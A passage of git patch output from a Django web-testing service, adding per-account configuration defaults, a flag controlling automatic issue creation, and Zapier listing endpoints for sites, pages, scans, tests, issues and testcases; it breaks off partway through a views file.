 app/api/v1/ops/services.py     | 75 +++++++++++++++++++++++++++-------
 app/scanerr/settings.py        |  3 +-
 9 files changed, 84 insertions(+), 29 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 41b7a54b..4390939c 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -4,6 +4,7 @@
 from django.contrib.auth.models import User
 from datetime import datetime
 from django.contrib.postgres.fields import JSONField
+from scanerr import settings
 import uuid
 
 
@@ -249,6 +250,13 @@ def get_tags_default():
 
 
 
+def get_default_configs():
+    configs = settings.CONFIGS
+    return configs
+
+
+
+
 class Account(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
@@ -270,6 +278,7 @@ class Account(models.Model):
     price_amount = models.IntegerField(serialize=True, null=True, blank=True, default=0)
     interval = models.CharField(max_length=50, serialize=True, null=True, blank=True, default='month')
     slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default)
+    configs = models.JSONField(serialize=True, null=True, blank=True, default=get_default_configs)
     meta = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index addbc5af..f7cfc6b6 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -587,7 +587,7 @@ def run_s(self) -> None:
         quit_driver(driver=self.driver)
         print('-- testcase run complete --')
 
-        if not self.testcase.passed:
+        if not self.testcase.passed and self.testcase.configs.get('create_issue'):
             print('generating new Issue...')
             Issuer(testcase=self.testcase).build_issue()
         
@@ -885,7 +885,7 @@ async def run_p(self) -> None:
         await self.driver.close()
         print('-- testcase run complete --')
 
-        if not self.testcase.passed:
+        if not self.testcase.passed and self.test.configs.get('create_issue'):
             print('generating new Issue...')
             Issuer(testcase=self.testcase).build_issue()
 
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index dbb0b443..b5e6743d 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -91,7 +91,7 @@ def build_issue(self):
 
             # build intro
             intro = str(
-                f'#### Testcase [{self.testcase.case_name}](/{trigger["type"]}/{trigger["id"]})' + 
+                f'Testcase [{self.testcase.case_name}](/{trigger["type"]}/{trigger["id"]})' + 
                 f' failed on **Step {step_index}**, `{failed_step["action"]["type"]}`.\n\n\n' +
                 f' **Affected Site:** [{affected["str"]}](/{affected["type"]}/{affected["id"]})\n\n\n'
             )
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index e7e66721..c397e8d2 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -917,7 +917,7 @@ def run_test(self, index: int=None) -> object:
         self.update_site_info(self.test)
 
         # create issue if failed
-        if self.test.status == 'failed':
+        if self.test.status == 'failed' and self.test.configs.get('create_issue'):
             print('generating new Issue...')
             Issuer(test=self.test).build_issue()
 
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index 58617019..b4ffb783 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -82,7 +82,8 @@ class Meta:
         fields = ['id', 'active', 'time_created', 'type', 'phone', 
         'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
         'user', 'code', 'name', 'price_amount', 'max_sites', 
-        'max_pages', 'max_schedules', 'testcases', 'retention_days'
+        'max_pages', 'max_schedules', 'testcases', 'retention_days',
+        'configs'
         ]
 
 
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index b3ad24a3..eb9e8053 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -191,9 +191,10 @@ def update_user(request: object) -> object:
 
     # get request data
     email = request.data.get('email')
+    user = request.user
 
     # check if an email is already associated with a user
-    if User.objects.filter(email=email).exists():
+    if User.objects.filter(email=email).exists() and user.email != email:
         return Response(status=status.HTTP_417_EXPECTATION_FAILED)
     
     # update user email
@@ -627,6 +628,7 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         product_id = request.data.get('product_id')
         price_id = request.data.get('price_id')
         slack = request.data.get('slack')
+        configs = request.data.get('configs')
         user = request.user
 
     # get kwargs data
@@ -647,6 +649,7 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         product_id = kwargs.get('product_id')
         price_id = kwargs.get('price_id')
         slack = kwargs.get('slack')
+        configs = kwargs.get('configs')
         user_id = kwargs.get('user')
         user = User.objects.get(id=user_id)
 
@@ -689,6 +692,8 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             account.price_id = price_id
         if slack is not None:
             account.slack = slack
+        if configs is not None:
+            account.configs = configs
         
         # saving updated info
         account.save()
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 511c709b..ae5a0a4f 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -300,14 +300,6 @@ def get_billing_info(request: object) -> object:
             'max_schedules': account.max_schedules,
             'retention_days': account.retention_days,
             'testcases': account.testcases,
-            'slack': {
-                'slack_name': account.slack['slack_name'], 
-                'bot_user_id': account.slack['bot_user_id'], 
-                'slack_team_id': account.slack['slack_team_id'], 
-                'bot_access_token': account.slack['bot_access_token'], 
-                'slack_channel_id': account.slack['slack_channel_id'], 
-                'slack_channel_name': account.slack['slack_channel_name'],
-            }
         },
     }
     
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index d91c66b0..88b954b1 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -395,7 +395,7 @@ def create_site(request: object, delay: bool=False) -> object:
     page_urls = request.data.get('page_urls')
     onboarding = request.data.get('onboarding', None)
     tags = request.data.get('tags', None)
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
     no_scan = request.data.get('no_scan', False)
     
     # gettting account
@@ -403,6 +403,9 @@ def create_site(request: object, delay: bool=False) -> object:
     account = Member.objects.get(user=user).account
     sites = Site.objects.filter(account=account)
 
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
+
     # checking if in onboarding flow
     if onboarding is not None:
         if str(onboarding).lower() == 'true':
@@ -545,7 +548,10 @@ def crawl_site(request: object, id: str) -> object:
     account = Member.objects.get(user=user).account
 
     # setting configs
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
+
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
 
     # check account and resource
     check_data = check_account_and_resource(request=request, site_id=id, resource='site')
@@ -803,7 +809,7 @@ def create_page(request: object, delay: bool=False) -> object:
     page_url = request.data.get('page_url')
     page_urls = request.data.get('page_urls')
     tags = request.data.get('tags', None)
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
     no_scan = request.data.get('no_scan', False)
 
     # retrieving user, account, & site
@@ -811,6 +817,9 @@ def create_page(request: object, delay: bool=False) -> object:
     account = Member.objects.get(user=user).account
     site = Site.objects.get(id=site_id)
 
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
+
     # creating many pages if page_urls was passed
     if page_urls is not None:
         print('trying to add many pages')
@@ -907,13 +916,16 @@ def create_many_pages(request: object, http_response: bool=True) -> object:
     site_id = request.data.get('site_id')
     page_urls = request.data.get('page_urls')
     tags = request.data.get('tags', None)
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
     no_scan = request.data.get('no_scan', False)
     
     # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
+
     # get site and current pages
     site = Site.objects.get(id=site_id)
     pages = Page.objects.filter(site=site)
@@ -1266,7 +1278,7 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     if request is not None:
         site_id = request.data.get('site_id')
         page_id = request.data.get('page_id')
-        configs = request.data.get('configs', settings.CONFIGS)
+        configs = request.data.get('configs', None)
         types = request.data.get('type', settings.TYPES)
         tags = request.data.get('tags')
         user = request.user
@@ -1275,7 +1287,7 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     if request is None:
         site_id = kwargs.get('site_id')
         page_id = kwargs.get('page_id')
-        configs = kwargs.get('configs', settings.CONFIGS)
+        configs = kwargs.get('configs', None)
         types = kwargs.get('type', settings.TYPES)
         tags = kwargs.get('tags')
         user_id = kwargs.get('user_id')
@@ -1284,6 +1296,9 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     # getting account
     account = Member.objects.get(user=user).account
 
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
+
     # verifying types
     if len(types) == 0:
         types = settings.TYPES
@@ -1386,10 +1401,14 @@ def create_many_scans(request: object) -> object:
     # get request data
     site_ids = request.data.get('site_ids')
     page_ids = request.data.get('page_ids')
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
     types = request.data.get('type', settings.TYPES)
     tags = request.data.get('tags')
     user = request.user
+    account = Member.objects.get(user=user).account
+
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
 
     # setting defaults
     num_succeeded = 0
@@ -1750,7 +1769,7 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
 
     # get data from request
     if request is not None:
-        configs = request.data.get('configs', settings.CONFIGS)
+        configs = request.data.get('configs', None)
         threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
         pre_scan_id = request.data.get('pre_scan')
         post_scan_id = request.data.get('post_scan')
@@ -1765,7 +1784,7 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
 
     # get data from kwargs
     if request is None:
-        configs = kwargs.get('configs', settings.CONFIGS)
+        configs = kwargs.get('configs', None)
         threshold = kwargs.get('threshold', settings.TEST_THRESHOLD)
         pre_scan_id = kwargs.get('pre_scan')
         post_scan_id = kwargs.get('post_scan')
@@ -1782,6 +1801,9 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     # get account
     account = Member.objects.get(user=user).account
 
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
+
     # verifying test_type
     if len(test_type) == 0:
         test_type = settings.TYPES
@@ -1967,11 +1989,15 @@ def create_many_tests(request: object) -> object:
     # get request data
     site_ids = request.data.get('site_ids')
     page_ids = request.data.get('page_ids')
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
     threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
     types = request.data.get('type', settings.TYPES)
     tags = request.data.get('tags')
     user = request.user
+    account = Member.objects.get(user=user).account
+
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
 
     # setting defaults
     num_succeeded = 0
@@ -2623,7 +2649,7 @@ def create_or_update_schedule(request: object) -> object:
     task_type = request.data.get('task_type')
     test_type = request.data.get('test_type', settings.TYPES)
     scan_type = request.data.get('scan_type', settings.TYPES)
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
     threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
     schedule_id = request.data.get('schedule_id')
     site_id = request.data.get('site_id')
@@ -2635,6 +2661,9 @@ def create_or_update_schedule(request: object) -> object:
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
+
     # setting defaults
     schedule = None
     site = None
@@ -3855,12 +3884,15 @@ def create_auto_cases(request: object) -> object:
     start_url = request.data.get('start_url')
     max_cases = request.data.get('max_cases', 4)
     max_layers = request.data.get('max_layers', 6)
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
     
     # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
+
     # get site if only site_url present
     if site_url is not None:
         site = Site.objects.filter(account=account, site_url=site_url)[0]
@@ -4036,12 +4068,15 @@ def create_testcase(request: object, delay: bool=False) -> object:
     case_id = request.data.get('case_id')
     site_id = request.data.get('site_id')
     updates = request.data.get('updates')
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
     
     # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
+
     # checking account and resource 
     check_data = check_account_and_resource(
         request=request, resource='testcase', 
@@ -4593,6 +4628,14 @@ def get_home_metrics(request: object) -> object:
         scan_count = scan_count + scans.count()
         schedule_count = schedule_count + schedules.count()
 
+        # getting associated pages
+        pages = Page.objects.filter(site=site)
+
+        # adding page scoped schedules 
+        for page in pages:
+            schedules = Schedule.objects.filter(page=page)
+            schedule_count = schedule_count + schedules.count()
+
     # format data
     data = {
         "sites": site_count, 
@@ -4731,10 +4774,14 @@ def create_site_screenshot(request: object) -> object:
     # get request data
     site_id = request.data.get('site_id', None)
     url = request.data.get('url', None)
-    configs = request.data.get('configs', settings.CONFIGS)
+    configs = request.data.get('configs', None)
 
     # get user
     user = request.user
+    account = Member.objects.get(user=user).account
+
+    # updating configs if None:
+    configs = account.configs if configs == None else configs
     
     # set default
     site = None
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index e14a55a1..c3801d24 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -237,7 +237,8 @@
     'max_wait_time': 30,
     'timeout': 300,
     'disable_animations': False,
-    'auto_height': True
+    'auto_height': True,
+    'create_issue': True
 }
 
 

From 6e5517aed9548d69663369bed362f704394295ca Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Jul 2024 13:35:19 -0600
Subject: [PATCH 0598/1099] add account configs and zapier routes

---
 app/api/utils/caser.py         |   4 +-
 app/api/utils/issuer.py        |   3 +-
 app/api/utils/tester.py        |   2 +-
 app/api/v1/auth/serializers.py |   2 +-
 app/api/v1/billing/services.py |   1 +
 app/api/v1/ops/services.py     | 419 ++++++++++++++++++++++++++++++++-
 app/api/v1/ops/urls.py         |   6 +
 app/api/v1/ops/views.py        |  67 ++++++
 notes/Kubernetes.md            |   7 +-
 9 files changed, 501 insertions(+), 10 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index f7cfc6b6..ef161934 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -586,7 +586,7 @@ def run_s(self) -> None:
         )
         quit_driver(driver=self.driver)
         print('-- testcase run complete --')
-
+        
         if not self.testcase.passed and self.testcase.configs.get('create_issue'):
             print('generating new Issue...')
             Issuer(testcase=self.testcase).build_issue()
@@ -885,7 +885,7 @@ async def run_p(self) -> None:
         await self.driver.close()
         print('-- testcase run complete --')
 
-        if not self.testcase.passed and self.test.configs.get('create_issue'):
+        if not self.testcase.passed and self.testcase.configs.get('create_issue'):
             print('generating new Issue...')
             Issuer(testcase=self.testcase).build_issue()
 
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index b5e6743d..65884c4f 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -146,7 +146,7 @@ def build_issue(self):
             intro = str(
                 f'[Test](/{trigger["type"]}/{trigger["id"]}) failed for the page ' + 
                 f'[{affected["str"]}](/{affected["type"]}/{affected["id"]}) ' + 
-                f'based on the set threshold of {round(self.test.threshold, 2)}%.\n\n\n'
+                f'based on the set threshold of **{round(self.test.threshold, 2)}%**.\n\n\n'
             )
 
             # build main_issue
@@ -241,6 +241,7 @@ def build_recommendation(
                             Format with markdown. \
                             Format each recommendation as a markdown task. \
                             Omit the title or header in your response. \
+                            Omit any links in your response. \
                             Remove any disclaimer or notes section. \
                             Remove any reference to selenium documentation. \
                             Remove any reference of 'alternative selector strategies'. \
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index c397e8d2..82b80913 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -917,7 +917,7 @@ def run_test(self, index: int=None) -> object:
         self.update_site_info(self.test)
 
         # create issue if failed
-        if self.test.status == 'failed' and self.test.configs.get('create_issue'):
+        if self.test.status == 'failed' and self.test.post_scan_configs.get('create_issue'):
             print('generating new Issue...')
             Issuer(test=self.test).build_issue()
 
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index b4ffb783..9d9815a8 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -83,7 +83,7 @@ class Meta:
         'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
         'user', 'code', 'name', 'price_amount', 'max_sites', 
         'max_pages', 'max_schedules', 'testcases', 'retention_days',
-        'configs'
+        'configs', 'meta'
         ]
 
 
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index ae5a0a4f..cc800fc9 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -300,6 +300,7 @@ def get_billing_info(request: object) -> object:
             'max_schedules': account.max_schedules,
             'retention_days': account.retention_days,
             'testcases': account.testcases,
+            'meta': account.meta
         },
     }
     
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 88b954b1..944d862d 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -788,6 +788,58 @@ def delete_many_sites(request: object) -> object:
 
 
 
+def get_sites_zapier(request: object) -> object:
+    """ 
+    Get all `Sites` associated with user's Account.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    account = Member.objects.get(user=request.user).account
+    sites = None
+    
+    # deciding on scope
+    resource = 'site'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=request.user, resource=resource,
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get all account assocoiated sites
+    if sites is None:
+        sites = Site.objects.filter(
+            account=account,
+        ).order_by('-time_created')
+
+    # build response data
+    data = []
+
+    for site in sites:
+        data.append({
+            'id'               :  str(site.id),
+            'site_url'         :  str(site.site_url),
+            'time_created'     :  str(site.time_created),
+            'tags'             :  site.tags,
+            'info'             :  site.info,
+        })
+
+    # serialize and return
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Page Services ------ ###
 
 
@@ -1032,9 +1084,6 @@ def create_many_pages(request: object, http_response: bool=True) -> object:
     
     
 
-
-
-
 def get_pages(request: object) -> object:
     """ 
     Get one or more `Pages` from either 
@@ -1256,6 +1305,68 @@ def delete_many_pages(request: object) -> object:
 
 
 
+def get_pages_zapier(request: object) -> object:
+    """ 
+    Get all `Pages` associated with user's Account.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    account = Member.objects.get(user=request.user).account
+    site_id = request.query_params.get('site_id')
+    pages = None
+    
+    # deciding on scope
+    resource = 'page'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=request.user, resource=resource, site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get all site associated pages
+    if site_id:
+        pages = Page.objects.filter(
+            account=account,
+            site__id=site_id,
+        ).order_by('-time_created')
+
+    # get all account assocoiated pages
+    if pages is None:
+        pages = Page.objects.filter(
+            account=account,
+        ).order_by('-time_created')
+
+    # build response data
+    data = []
+
+    for page in pages:
+        data.append({
+            'id'               :  str(page.id),
+            'page_url'         :  str(page.page_url),
+            'site'             :  str(page.site.id),
+            'site_url'         :  str(page.site.site_url),
+            'time_created'     :  str(page.time_created),
+            'tags'             :  page.tags,
+            'info'             :  page.info,
+        })
+
+    # serialize and return
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Scan Services ------ ###
 
 
@@ -1749,6 +1860,88 @@ def delete_many_scans(request: object) -> object:
 
 
 
+def get_scans_zapier(request: object) -> object:
+    """ 
+    Get all `Scans` associated with user's Account.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    account = Member.objects.get(user=request.user).account
+    page_id = request.query_params.get('page_id')
+    site_id = request.query_params.get('site_id')
+    scans = None
+    
+    # deciding on scope
+    resource = 'scan'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=request.user, resource=resource, page_id=page_id, 
+        site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get all page associated scans
+    if page_id:
+        scans = Scan.objects.filter(
+            page__account=account,
+            page__id=page_id,
+        ).exclude(
+            time_completed=None,
+        ).order_by('-time_created')
+
+    # get all site associated scans
+    if site_id:
+        scans = Scan.objects.filter(
+            site__account=account,
+            site__id=site_id,
+        ).exclude(
+            time_completed=None,
+        ).order_by('-time_created')
+
+    # get all account assocoiated tests
+    if scans is None:
+        scans = Scan.objects.filter(
+            site__account=account,
+        ).exclude(
+            time_completed=None,
+        ).order_by('-time_created')
+
+    # build response data
+    data = []
+
+    for scan in scans:
+        data.append({
+            'id'               :  str(scan.id),
+            'page'             :  str(scan.page.id),
+            'site'             :  str(scan.site.id),
+            'time_created'     :  str(scan.time_created),
+            'time_completed'   :  str(scan.time_completed),
+            'type'             :  scan.type,
+            'html'             :  scan.html,
+            'logs'             :  scan.logs,
+            'images'           :  scan.images,
+            'lighthouse'       :  scan.lighthouse,
+            'yellowlab'        :  scan.yellowlab,
+            'configs'          :  scan.configs,
+        })
+
+    # serialize and return
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Test Services ------ ###
 
 
@@ -2155,7 +2348,7 @@ def get_test(request: object, id: str) -> object:
 
     # check account and resource
     check_data = check_account_and_resource(request=request, 
-        test_id=id, resource='scan'
+        test_id=id, resource='test'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -2351,6 +2544,94 @@ def delete_many_tests(request: object) -> object:
 
 
 
+def get_tests_zapier(request: object) -> object:
+    """ 
+    Get all `Tests` associated with user's Account.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    account = Member.objects.get(user=request.user).account
+    page_id = request.query_params.get('page_id')
+    site_id = request.query_params.get('site_id')
+    tests = None
+    
+    # deciding on scope
+    resource = 'test'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=request.user, resource=resource, page_id=page_id, 
+        site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get all page associated tests
+    if page_id:
+        tests = Test.objects.filter(
+            page__account=account,
+            page__id=page_id,
+        ).exclude(
+            time_completed=None,
+            pre_scan=None,
+            post_scan=None,
+        ).order_by('-time_created')
+
+    # get all site associated tests
+    if site_id:
+        tests = Test.objects.filter(
+            site__account=account,
+            site__id=site_id,
+        ).exclude(
+            time_completed=None,
+            pre_scan=None,
+            post_scan=None,
+        ).order_by('-time_created')
+
+    # get all account assocoiated tests
+    if tests is None:
+        tests = Test.objects.filter(
+            site__account=account,
+        ).exclude(
+            time_completed=None,
+            pre_scan=None,
+            post_scan=None,
+        ).order_by('-time_created')
+
+    # build response data
+    data = []
+
+    for test in tests:
+        data.append({
+            'id'               :  str(test.id),
+            'page'             :  str(test.page.id),
+            'site'             :  str(test.site.id),
+            'pre_scan'         :  str(test.pre_scan.id) if test.pre_scan else None,
+            'post_scan'        :  str(test.post_scan.id) if test.post_scan else None,
+            'time_created'     :  str(test.time_created),
+            'time_completed'   :  str(test.time_completed),
+            'type'             :  test.type,
+            'status'           :  str(test.status),
+            'score'            :  test.status,
+            'threshold'        :  test.threshold,
+            'component_scores' :  test.component_scores,
+        })
+
+    # serialize and return
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Issue Services ------ ###
 
 
@@ -2624,6 +2905,78 @@ def delete_issue(request: object, id: str) -> object:
 
 
 
+def get_issues_zapier(request: object) -> object:
+    """ 
+    Get all `Issues` associated with user's Account.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    account = Member.objects.get(user=request.user).account
+    page_id = request.query_params.get('page_id')
+    site_id = request.query_params.get('site_id')
+    issues = None
+    
+    # deciding on scope
+    resource = 'issue'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=request.user, resource=resource, page_id=page_id,
+        site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # get all page associated issues
+    if page_id:
+        issues = Issue.objects.filter(
+            account=account,
+            affected__icontains=page_id,
+        ).order_by('-time_created')
+
+    # get all site associated issues
+    if site_id:
+        issues = Issue.objects.filter(
+            account=account,
+            affected__icontains=site_id,
+        ).order_by('-time_created')
+
+    # get all account assocoiated issues
+    if issues is None:
+        issues = Issue.objects.filter(
+            account=account
+        ).order_by('status', '-time_created')
+
+    # build response data
+    data = []
+
+    for issue in issues:
+        data.append({
+            'id'            :  str(issue.id),
+            'title'         :  str(issue.title),
+            'time_created'  :  str(issue.time_created),
+            'details'       :  str(issue.details),
+            'trigger'       :  issue.trigger,
+            'affected'      :  issue.affected,
+            'labels'        :  issue.labels,
+            'status'        :  str(issue.status),
+        })
+
+    # serialize and return
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Schedule Services ------ ###
 
 
@@ -4287,6 +4640,64 @@ def delete_testcase(request: object, id: str) -> object:
 
 
 
+def get_testcases_zapier(request: object) -> object:
+    """ 
+    Get all `Testcases` associated with user's Account.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    account = Member.objects.get(user=request.user).account
+    testcases = None
+    
+    # deciding on scope
+    resource = 'testcase'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=request.user, resource=resource
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get all account assocoiated testcases
+    if testcases is None:
+        testcases = Testcase.objects.filter(
+            account=account,
+        ).exclude(
+            time_completed=None,
+        ).order_by('-time_created')
+
+    # build response data
+    data = []
+
+    for testcase in testcases:
+        data.append({
+            'id'              :  str(testcase.id),
+            'case'            :  str(testcase.case.id),
+            'case_name'       :  str(testcase.case_name),
+            'site'            :  str(testcase.site.id),
+            'time_created'    :  str(testcase.time_created),
+            'time_completed'  :  str(testcase.time_completed),
+            'configs'         :  testcase.configs,
+            'passed'          :  str(testcase.passed),
+        })
+
+    # serialize and return
+    record_api_call(request, data, '200')
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Process Services ------ ###
 
 
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 37b71a91..46fe4617 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -9,22 +9,26 @@
     path('site/<uuid:id>/crawl', views.SiteCrawl.as_view(), name='site-crawl'),
     path('site/delay', views.SiteDelay.as_view(), name='site-delay'),
     path('sites/delete', views.SitesDelete.as_view(), name='sites-delete'),
+    path('sites/zapier', views.SitesZapier.as_view(), name='sites-zapier'),
     path('page', views.Pages.as_view(), name='page'),
     path('page/<uuid:id>', views.PageDetail.as_view(), name='page-detail'),
     path('page/delay', views.PageDelay.as_view(), name='page-delay'),
     path('pages/delete', views.PagesDelete.as_view(), name='pages-delete'),
+    path('pages/zapier', views.PagesZapier.as_view(), name='pages-zapier'),
     path('scan', views.Scans.as_view(), name='scan'),
     path('scan/<uuid:id>', views.ScanDetail.as_view(), name='scan-detail'),
     path('scan/<uuid:id>/lean', views.ScanLean.as_view(), name='scan-lean'),
     path('scan/delay', views.ScanDelay.as_view(), name='scan-delay'),
     path('scans/delete', views.ScansDelete.as_view(), name='scans-delete'),
     path('scans/create', views.ScansCreate.as_view(), name='scans-create'),
+    path('scans/zapier', views.ScansZapier.as_view(), name='scans-zapier'),
     path('test', views.Tests.as_view(), name='test'),
     path('test/<uuid:id>', views.TestDetail.as_view(), name='test-detail'),
     path('test/<uuid:id>/lean', views.TestLean.as_view(), name='test-lean'),
     path('test/delay', views.TestDelay.as_view(), name='test-delay'),
     path('tests/delete', views.TestsDelete.as_view(), name='tests-delete'),
     path('tests/create', views.TestsCreate.as_view(), name='tests-create'),
+    path('tests/zapier', views.TestsZapier.as_view(), name='tests-zapier'),
     path('case', views.Cases.as_view(), name='case'),
     path('case/<uuid:id>', views.CaseDetail.as_view(), name='case-detail'),
     path('case/search', views.CasesSearch.as_view(), name='case-search'),
@@ -33,9 +37,11 @@
     path('testcase', views.Testcases.as_view(), name='testcase'),
     path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'),
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
+    path('testcases/zapier', views.TestcasesZapier.as_view(), name='testcases-zapier'),
     path('issue', views.Issues.as_view(), name='issue'),
     path('issue/search', views.IssuesSearch.as_view(), name='issue-search'),
     path('issue/<uuid:id>', views.IssueDetail.as_view(), name='issue-detail'),
+    path('issues/zapier', views.IssuesZapier.as_view(), name='issues-zapier'),
     path('report', views.Reports.as_view(), name='report'),
     path('report/<uuid:id>', views.ReportDetail.as_view(), name='report-detail'),
     path('schedule', views.Schedules.as_view(), name='schedule'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 006cdc58..fa92fe49 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -89,6 +89,17 @@ def post(self, request):
 
